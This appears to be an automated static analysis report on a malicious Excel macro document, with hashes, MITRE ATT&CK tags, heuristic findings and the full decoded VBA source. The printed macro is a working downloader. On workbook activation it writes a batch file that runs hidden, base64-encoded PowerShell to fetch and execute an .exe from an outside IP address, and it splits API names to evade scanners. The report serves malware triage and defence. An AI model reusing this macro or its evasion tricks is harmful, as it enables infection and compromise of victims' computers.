Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a8fe12da29989bc…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2021-10-23
MD5: 1858febed356ff0f5851d8e5b1d5f0f3 SHA-1: 78552d5165bf7cf2dd49fcde8e8c1d3863ca4bf0 SHA-256: 7a8fe12da29989bc996040e6bc98e70381bbd0641dfd789ffea671607e3e14bd
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains VBA macros that are triggered upon activation. The macro reconstructs a PowerShell command to download and execute a second-stage payload from the URL 'http://3.70.52.8/R1/Z/UYH302.exe'. The use of Shell() and obfuscated API names indicates malicious intent.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2168 bytes
SHA-256: 7286ea2c3913224ebe21279d43c5fd4777785f8c2291223034e74a989602c38f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim enc As String
enc = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBHAGUAYQBsAHIAZgB1AHYAaQBrAGwAeQBlAHgALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAzAC4ANwAwAC4ANQAyAC4AOAAvAFIAMQAvAFoALwBVAFkASAAzADAAMgAuAGUAeABlACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA="
Dim LResult As String
LResult = Replace(enc, "_", "")
call1 = "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"
ActiveWorkbook.Save
batch = "Jjqafenyzjvrzvlr.bat"
Open batch For Output As #1
    Print #1, "start /MIN C:\Windo" + "ws\SysWOW64\" + call1 + " -win 1 -enc " + LResult 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True